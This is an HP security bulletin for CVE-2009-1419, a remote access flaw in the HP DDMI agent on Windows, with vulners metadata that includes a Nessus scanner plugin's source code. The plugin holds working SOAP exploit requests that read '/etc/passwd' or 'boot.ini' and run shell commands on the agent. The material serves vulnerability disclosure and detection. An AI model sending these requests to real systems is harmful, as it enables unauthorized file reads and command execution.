Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY
A potential security vulnerability has been identified with HP Discovery & Dependency Mapping Inventory (DDMI) running on
Windows. The vulnerability could be exploited remotely to gain unauthorized access to DDMI agents.
References: CVE-2009-1419
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP Discovery & Dependency Mapping Inventory (DDMI) v2.0.0, v2.0.1, v2.0.2, v2.0.3, v2.0.4, v2.1.0, v2.1.1, v2.1.2, v2.1.3,
v2.20, v2.21, v2.22, v2.50, v2.51, v2.52, v7.50 , v7.51 running on Windows
BACKGROUND
CVSS 2.0 Base Metrics
Reference Base Vector Base Score
CVE-2009-1419 (AV:N/AC:H/Au:N/C:P/I:P/A:N) 4.0
===============================================
Information on CVSS is documented in HP Customer Notice: HPSN-2008-002.
RESOLUTION
HP has made the following software patches available to resolve the vulnerability.
The patches can be downloaded from http://support.openview.hp.com/selfsolve/patches
HP Discovery & Dependency Mapping Inventory (DDMI) v2.5x
Patch Number HPED_00304
HP Discovery & Dependency Mapping Inventory (DDMI) v7.5x
Patch Number HPED_00306
Note: To receive patches for HP Discovery & Dependency Mapping Inventory (DDMI) v2.22 and earlier contact the normal HP
Services support channel.
PRODUCT SPECIFIC INFORMATION
None
HISTORY
Version:1 (rev.1) - 4 June 2009 Initial release
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software
products should be applied in accordance with the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially
exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
- check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
- verify your operating system selections are checked and save.
To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do
The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the
Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually
reviewing and enhancing the security features of software products to provide customers with current secure solutions.
"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products
the important security information contained in this Bulletin. HP recommends that all users determine the applicability of
this information to their individual situations and take appropriate action. HP does not warrant that this information is
necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages
resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP
disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a
particular purpose, title and non-infringement."
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The
information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its
affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime
cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or
software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the
names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and
other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1
{"id": "SECURITYVULNS:DOC:21962", "bulletinFamily": "software", "title": "[security bulletin] HPSBMA02433 SSRT090084 rev.1 - HP Discovery & Dependency Mapping Inventory (DDMI) Running on Windows, Remote Unauthorized Access", "description": "-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nSUPPORT COMMUNICATION - SECURITY BULLETIN\r\n\r\nDocument ID: c01760771\r\nVersion: 1\r\n\r\nHPSBMA02433 SSRT090084 rev.1 - HP Discovery & Dependency Mapping Inventory (DDMI) Running on Windows, Remote Unauthorized\r\nAccess\r\n\r\nNOTICE: The information in this Security Bulletin should be acted upon as soon as possible.\r\n\r\nRelease Date: 2009-06-04\r\nLast Updated: 2009-06-04\r\n\r\nPotential Security Impact: Remote unauthorized access\r\n\r\nSource: Hewlett-Packard Company, HP Software Security Response Team\r\n\r\nVULNERABILITY SUMMARY\r\nA potential security vulnerability has been identified with HP Discovery & Dependency Mapping Inventory (DDMI) running on\r\nWindows. The vulnerability could be exploited remotely to gain unauthorized access to DDMI agents.\r\n\r\nReferences: CVE-2009-1419\r\n\r\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.\r\nHP Discovery & Dependency Mapping Inventory (DDMI) v2.0.0, v2.0.1, v2.0.2, v2.0.3, v2.0.4, v2.1.0, v2.1.1, v2.1.2, v2.1.3, \r\nv2.20, v2.21, v2.22, v2.50, v2.51, v2.52, v7.50 , v7.51 running on Windows\r\n\r\nBACKGROUND\r\n\r\nCVSS 2.0 Base Metrics \r\n===============================================\r\nReference Base Vector Base Score \r\nCVE-2009-1419 (AV:N/AC:H/Au:N/C:P/I:P/A:N) 4.0\r\n===============================================\r\nInformation on CVSS is documented in HP Customer Notice: HPSN-2008-002.\r\n \r\nRESOLUTION\r\n\r\nHP has made the following software patches available to resolve the vulnerability. \r\nThe patches can be downloaded from http://support.openview.hp.com/selfsolve/patches \r\n \r\nHP Discovery & Dependency Mapping Inventory (DDMI) v2.5x\r\n Patch Number HPED_00304\r\n \r\nHP Discovery & Dependency Mapping Inventory (DDMI) v7.5x\r\n Patch Number HPED_00306\r\n \r\nNote: To receive patches for HP Discovery & Dependency Mapping Inventory (DDMI) v2.22 and earlier contact the normal HP\r\nServices support channel. \r\n\r\nPRODUCT SPECIFIC INFORMATION \r\nNone \r\n\r\nHISTORY \r\nVersion:1 (rev.1) - 4 June 2009 Initial release \r\n\r\nThird Party Security Patches: Third party security patches that are to be installed on systems running HP software\r\nproducts should be applied in accordance with the customer's patch management policy. \r\n\r\nSupport: For further information, contact normal HP Services support channel.\r\n\r\nReport: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com \r\nIt is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially\r\nexploit information. \r\nTo get the security-alert PGP key, please send an e-mail message as follows:\r\n To: security-alert@hp.com \r\n Subject: get key\r\n\r\nSubscribe: To initiate a subscription to receive future HP Security Bulletins via Email: \r\nhttp://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC \r\nOn the web page: ITRC security bulletins and patch sign-up \r\nUnder Step1: your ITRC security bulletins and patches \r\n - check ALL categories for which alerts are required and continue.\r\nUnder Step2: your ITRC operating systems \r\n - verify your operating system selections are checked and save.\r\n\r\n\r\nTo update an existing subscription: http://h30046.www3.hp.com/subSignIn.php \r\nLog in on the web page: Subscriber's choice for Business: sign-in. \r\nOn the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.\r\n\r\n\r\nTo review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do \r\n\r\n\r\n* The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the\r\nBulletin number in the title: \r\n\r\nGN = HP General SW\r\nMA = HP Management Agents\r\nMI = Misc. 3rd Party SW\r\nMP = HP MPE/iX\r\nNS = HP NonStop Servers\r\nOV = HP OpenVMS\r\nPI = HP Printing & Imaging\r\nST = HP Storage SW\r\nTL = HP Trusted Linux\r\nTU = HP Tru64 UNIX\r\nUX = HP-UX\r\nVV = HP VirtualVault\r\n \r\nSystem management and security procedures must be reviewed frequently to maintain system integrity. HP is continually\r\nreviewing and enhancing the security features of software products to provide customers with current secure solutions.\r\n\r\n\r\n"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products\r\nthe important security information contained in this Bulletin. HP recommends that all users determine the applicability of\r\nthis information to their individual situations and take appropriate action. HP does not warrant that this information is\r\nnecessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages\r\nresulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP\r\ndisclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a\r\nparticular purpose, title and non-infringement."\r\n\r\n\u00a9Copyright 2009 Hewlett-Packard Development Company, L.P. \r\n\r\nHewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The\r\ninformation provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its\r\naffiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime\r\ncost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or\r\nsoftware restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the\r\nnames of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and\r\nother countries. Other product and company names mentioned herein may be trademarks of their respective owners.\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: PGP 8.1\r\n\r\niQA/AwUBSigeWuAfOvwtKn1ZEQI4fACg9yXFUYThvcbt30xzoTnghRwr51AAoKiN\r\nAyybWavPI6ifMC8iZ0rREYEC\r\n=99ED\r\n-----END PGP SIGNATURE-----", "published": "2009-06-08T00:00:00", "modified": "2009-06-08T00:00:00", "cvss": {"score": 4.0, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:21962", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2009-1419"], "type": "securityvulns", "lastseen": "2018-08-31T11:10:30", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "cfba18384e9c9c7961e707875c3061f2"}, {"key": "cvss", "hash": "1f72477ff44f4d633d1a66eb1da0027b"}, {"key": "description", "hash": "b922aa08d2b18cf751412f933606f36b"}, {"key": "href", "hash": "63834fc00c00a466d1977574525653c1"}, {"key": "modified", "hash": "9c4ab331109b20827431848388627997"}, {"key": "published", "hash": "9c4ab331109b20827431848388627997"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "c534f4812b61bb581bc57e7870ed383b"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "f1f5539fd0dff8c958c00b9dbb6458d0e83fc5ec007f5b2a1b5f393d9333df76", "viewCount": 9, "enchantments": {"score": {"value": 6.3, "vector": "NONE", "modified": "2018-08-31T11:10:30"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2009-1419"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:9970"]}, {"type": "nessus", "idList": ["HP_DDMI_AGENT_ACCESS.NASL"]}], "modified": "2018-08-31T11:10:30"}, "vulnersScore": 6.3}, "objectVersion": "1.3", "affectedSoftware": []}
{"cve": [{"lastseen": "2019-10-10T12:10:44", "bulletinFamily": "NVD", "description": "Unspecified vulnerability in HP Discovery & Dependency Mapping Inventory (DDMI) 2.0.0 through 2.52, 7.50, and 7.51 on Windows allows remote attackers to access DDMI agents via unknown vectors.", "modified": "2019-10-09T22:58:00", "id": "CVE-2009-1419", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1419", "published": "2009-06-08T01:00:00", "title": "CVE-2009-1419", "type": "cve", "cvss": {"score": 4.0, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:N"}}], "securityvulns": [{"lastseen": "2018-08-31T11:09:33", "bulletinFamily": "software", "description": "No description provided", "modified": "2009-06-08T00:00:00", "published": "2009-06-08T00:00:00", "id": "SECURITYVULNS:VULN:9970", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:9970", "title": "HP Discovery & Dependency Mapping Inventory unauthorized access", "type": "securityvulns", "cvss": {"score": 4.0, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}], "nessus": [{"lastseen": "2019-11-01T02:47:12", "bulletinFamily": "scanner", "description": "The remote host is running an HP Discovery & Dependency Mapping\nInventory (DDMI) agent to facilitate communications between a central\nDDMI server and workstations that are part of the deployed inventory\nprocess. \n\nThe version of the agent on the remote host fails to check for\na valid SSL certificate from a known DDMI server before accepting\nrequests and processing them. An unauthenticated, remote attacker can\nleverage this issue to disclose sensitive information about installed\nsoftware, read the contents of arbitrary files, launch arbitrary\nprocesses with SYSTEM privileges, etc.", "modified": "2019-11-02T00:00:00", "id": "HP_DDMI_AGENT_ACCESS.NASL", "href": "https://www.tenable.com/plugins/nessus/39617", "published": "2009-07-06T00:00:00", "title": "HP DDMI on Windows Unspecified Remote Agent Access", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\n\ninclude(\"compat.inc\");\n\n\nif (description)\n{\n script_id(39617);\n script_version(\"1.20\");\n\n script_cve_id(\"CVE-2009-1419\");\n script_bugtraq_id(35250);\n script_xref(name:\"Secunia\", value:\"35270\");\n\n script_name(english:\"HP DDMI on Windows Unspecified Remote Agent Access\");\n script_summary(english:\"Tries to retrieve a file or execute a command\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote SOAP server allows unauthorized access.\"\n );\n script_set_attribute( attribute:\"description\", value:\n\"The remote host is running an HP Discovery & Dependency Mapping\nInventory (DDMI) agent to facilitate communications between a central\nDDMI server and workstations that are part of the deployed inventory\nprocess. \n\nThe version of the agent on the remote host fails to check for\na valid SSL certificate from a known DDMI server before accepting\nrequests and processing them. An unauthenticated, remote attacker can\nleverage this issue to disclose sensitive information about installed\nsoftware, read the contents of arbitrary files, launch arbitrary\nprocesses with SYSTEM privileges, etc.\" );\n\n script_set_attribute(\n attribute:\"see_also\", \n value:\"https://www.securityfocus.com/archive/1/504134/30/0/threaded\"\n );\n script_set_attribute(\n attribute:\"see_also\", \n value:\"https://www.securityfocus.com/archive/1/508942/30/0/threaded\"\n );\n script_set_attribute( attribute:\"solution\", value:\n\"Apply Patch Number HPED_00306 (for DDMI version 7.5x) / HPED_00304\n(version 2.5x).\" );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n script_set_attribute(attribute:\"plugin_publication_date\", value: \"2009/07/06\");\n script_set_attribute(attribute:\"patch_publication_date\", value: \"2009/06/04\");\n script_cvs_date(\"Date: 2018/11/15 20:50:17\");\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:hp:discovery%26dependency_mapping_inventory\");\n script_set_attribute(attribute:\"exploited_by_nessus\", value:\"true\");\n script_end_attributes();\n\n script_category(ACT_MIXED_ATTACK);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_dependencies(\"http_version.nasl\", \"os_fingerprint.nasl\");\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_require_ports(\"Services/www\", 2738, 7738);\n exit(0);\n}\n\n#\n\ninclude(\"byte_func.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"data_protection.inc\");\n\nurl = \"/\";\nurn = \"urn:aiagent\";\n\n\nos = get_kb_item(\"Host/OS\");\nif (os)\n{\n if (\"Windows\" >< os)\n {\n cmd = string('cmd /c ipconfig /all > C:\\\\', SCRIPT_NAME, '-', unixtime(), '.log');\n file = 'C:\\\\boot.ini';\n }\n else \n {\n cmd = string('/bin/sh -c \"id > /tmp/', SCRIPT_NAME, '-', unixtime(), '.log\"');\n file = '/etc/passwd';\n }\n\n cmds = make_list(cmd);\n files = make_list(file);\n}\nelse\n{\n cmds = make_list(\n string('/bin/sh -c \"id > /tmp/', SCRIPT_NAME, '-', unixtime(), '.log\"'),\n string('cmd /c ipconfig /all > C:\\\\', SCRIPT_NAME, '-', unixtime(), '.log\"')\n );\n files = make_list('/etc/passwd', 'C:\\\\boot.ini');\n}\n\ncmd_pats = make_array();\ncmd_pats[\"id\"] = \"uid=[0-9]+.*gid=[0-9]+.*\";\ncmd_pats[\"ipconfig /all\"] = \"Subnet Mask\";\n\nfile_pats = make_array();\nfile_pats['/etc/passwd'] = \"root:.*:0:[01]:\";\nfile_pats['C:\\\\boot.ini'] = \"^ *\\[boot loader\\]\";\n\n\nports = add_port_in_list(list:get_kb_list(\"Services/www\"), port:2738);\nports = add_port_in_list(list:ports, port:7738);\n\nforeach port (ports)\n{\n # Unless we're paranoid, make sure the banner looks like DDMI Agent.\n if (report_paranoia < 2)\n {\n banner = get_http_banner(port:port);\n if (!banner || \"Server: gSOAP/\" >!< banner) continue;\n }\n\n # If we're being safe...\n if (safe_checks())\n {\n # Be safe and just retrieve the contents of a file.\n method = \"downloadFile\";\n\n foreach file (files)\n {\n while (file[0] == ' ') file = substr(file, 1);\n\n postdata = string(\n \"<?xml version='1.0' ?>\", '\\n',\n '<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\\n',\n '<soap:Body>\\n',\n ' <i:', method, ' xmlns:i=\"', urn, '\">\\n',\n ' <path>', file, '</path>\\n',\n ' </i:', method, '>\\n',\n ' </soap:Body>\\n',\n '</soap:Envelope>'\n );\n req = http_mk_post_req(\n port : port,\n version : 11, \n item : url, \n add_headers : make_array(\n \"Content-Type\", \"text/xml\",\n \"SOAPMethodName\", string(urn, \"#\", method)\n ),\n data : postdata\n );\n res = http_send_recv_req(port:port, req:req);\n if (isnull(res)) continue;\n\n # There's a problem if we were able to get a result.\n if ('ns:downloadFileResult><fileResult' >< res[2])\n {\n file_pat = file_pats[file];\n\n contents = \"\";\n if (\n '</SOAP-ENV:Envelope>' >< res[2] &&\n 'application/octet-stream' >< res[2]\n ) \n {\n i = stridx(res[2], '</SOAP-ENV:Envelope>') + 0x1e;\n while (i < strlen(res[2]))\n {\n l = getdword(pos:i, blob:res[2]);\n\n if (contents) i += 4;\n else i = stridx(res[2], 'application/octet-stream') + strlen('application/octet-stream');\n\n contents = strcat(contents, substr(res[2], i, i+l-1));\n\n i += l;\n if (i % 4) i += (4 - (i % 4));\n\n if (getdword(pos:i, blob:res[2]) != 0xa000000) break;\n i += 8;\n }\n contents = substr(contents, 0, strlen(contents)-1);\n }\n\n if (\n report_verbosity > 0 &&\n contents &&\n egrep(pattern:file_pat, string:contents)\n )\n {\n req_str = http_mk_buffer_from_req(req:req);\n report = string(\n \"\\n\",\n \"Nessus was able to exploit the issue to retrieve the contents of\\n\",\n \"'\", file, \"' on the remote host using the following request :\\n\",\n \"\\n\",\n crap(data:\"-\", length:30), \" snip \", crap(data:\"-\", length:30), \"\\n\",\n req_str, \"\\n\",\n crap(data:\"-\", length:30), \" snip \", crap(data:\"-\", length:30), \"\\n\"\n );\n if (report_verbosity > 1)\n {\n contents = data_protection::redact_etc_passwd(output:contents);\n report = string(\n report,\n \"\\n\",\n \"Here are its contents :\\n\",\n \"\\n\",\n crap(data:\"-\", length:30), \" snip \", crap(data:\"-\", length:30), \"\\n\",\n contents,\n crap(data:\"-\", length:30), \" snip \", crap(data:\"-\", length:30), \"\\n\"\n );\n }\n security_hole(port:port, extra:report);\n }\n else security_hole(port);\n\n exit(0);\n }\n }\n }\n # Otherwise...\n else\n {\n # Execute a command and retrieve the results from a file.\n method1 = \"executeProcess\";\n\n foreach cmd (cmds)\n {\n space = stridx(cmd, \" \");\n if (space > 0)\n {\n exe = substr(cmd, 0, space-1);\n args = substr(cmd, space);\n }\n else\n {\n exe = cmd;\n args = \"\";\n }\n\n postdata1 = string(\n \"<?xml version='1.0' ?>\", '\\n',\n '<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\\n',\n '<soap:Body>\\n',\n ' <i:', method1, ' xmlns:i=\"', urn, '\">\\n',\n ' <pszExePath>', exe, '</pszExePath>\\n',\n ' <pszArgs>', args, '</pszArgs>\\n',\n ' </i:', method1, '>\\n',\n ' </soap:Body>\\n',\n '</soap:Envelope>'\n );\n req1 = http_mk_post_req(\n port : port,\n version : 11, \n item : url, \n add_headers : make_array(\n \"Content-Type\", \"text/xml\",\n \"SOAPMethodName\", string(urn, \"#\", method1)\n ),\n data : postdata1\n );\n res1 = http_send_recv_req(port:port, req:req1);\n if (isnull(res1)) continue;\n\n # There's a problem if we got an OK response.\n if (\"ns:ApiExecResult><lRetCode>0</lRetCode><strRetMsg>OK<\" >< res1[2])\n {\n report = \"\";\n\n if (report_verbosity > 0)\n {\n req1_str = http_mk_buffer_from_req(req:req1);\n\n report = string(\n \"\\n\",\n \"Nessus was able to exploit the issue to execute the command :\\n\",\n \"\\n\",\n \" \", cmd, \"\\n\",\n \"\\n\",\n \"using the following request :\\n\",\n \"\\n\",\n crap(data:\"-\", length:30), \" snip \", crap(data:\"-\", length:30), \"\\n\",\n req1_str, \"\\n\",\n crap(data:\"-\", length:30), \" snip \", crap(data:\"-\", length:30), \"\\n\"\n );\n\n if (report_verbosity > 1 && \">\" >< cmd)\n {\n # Try to grab the result.\n method2 = \"downloadFile\";\n file = strstr(cmd, '>') - '>';\n file = file - '\"';\n while (file[0] == ' ') file = substr(file, 1);\n\n postdata2 = string(\n \"<?xml version='1.0' ?>\", '\\n',\n '<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\\n',\n '<soap:Body>\\n',\n ' <i:', method2, ' xmlns:i=\"', urn, '\">\\n',\n ' <path>', file, '</path>\\n',\n ' </i:', method2, '>\\n',\n ' </soap:Body>\\n',\n '</soap:Envelope>'\n );\n req2 = http_mk_post_req(\n port : port,\n version : 11, \n item : url, \n add_headers : make_array(\n \"Content-Type\", \"text/xml\",\n \"SOAPMethodName\", string(urn, \"#\", method2)\n ),\n data : postdata2\n );\n # nb: sleeping for a bit avoids problems receiving the file contents.\n sleep(1);\n res2 = http_send_recv_req(port:port, req:req2);\n\n cmd_pat = '';\n foreach key (keys(cmd_pats))\n if (key >< cmd)\n {\n cmd_pat = cmd_pats[key];\n break;\n }\n\n contents = \"\";\n if (\n !isnull(res2) && \n \"ns:downloadFileResult><fileResult\" >< res2[2] &&\n '</SOAP-ENV:Envelope>' >< res2[2] &&\n 'application/octet-stream' >< res2[2]\n ) \n {\n i = stridx(res2[2], '</SOAP-ENV:Envelope>') + 0x1e;\n while (i < strlen(res2[2]))\n {\n l = getdword(pos:i, blob:res2[2]);\n\n if (contents) i += 4;\n else i = stridx(res2[2], 'application/octet-stream') + strlen('application/octet-stream');\n\n contents = strcat(contents, substr(res2[2], i, i+l-1));\n\n i += l;\n if (i % 4) i += (4 - (i % 4));\n\n if (getdword(pos:i, blob:res2[2]) != 0xa000000) break;\n i += 8;\n }\n contents = substr(contents, 0, strlen(contents)-1);\n }\n\n if (\n !isnull(contents) && \n cmd_pat &&\n egrep(pattern:cmd_pat, string:contents)\n )\n {\n req2_str = http_mk_buffer_from_req(req:req2);\n contents = data_protection::redact_etc_passwd(output:contents);\n report = string(\n report,\n \"\\n\",\n \"Retrieving the contents of the generated file with the following\\n\",\n \"request :\\n\",\n \"\\n\",\n crap(data:\"-\", length:30), \" snip \", crap(data:\"-\", length:30), \"\\n\",\n req2_str, \"\\n\",\n crap(data:\"-\", length:30), \" snip \", crap(data:\"-\", length:30), \"\\n\",\n \"\\n\",\n \"shows the following command output :\\n\",\n \"\\n\",\n crap(data:\"-\", length:30), \" snip \", crap(data:\"-\", length:30), \"\\n\",\n data_protection::sanitize_uid(output:contents),\n crap(data:\"-\", length:30), \" snip \", crap(data:\"-\", length:30), \"\\n\"\n );\n }\n else\n {\n report = string(\n report,\n \"\\n\",\n \"Nessus tried but was unable to retrieve the file to which command\\n\",\n \"output was directed, perhaps because of a timeout issue.\\n\"\n );\n }\n }\n security_hole(port:port, extra:report);\n }\n else security_hole(port);\n\n exit(0);\n }\n }\n }\n}\n", "cvss": {"score": 4.0, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:N"}}]}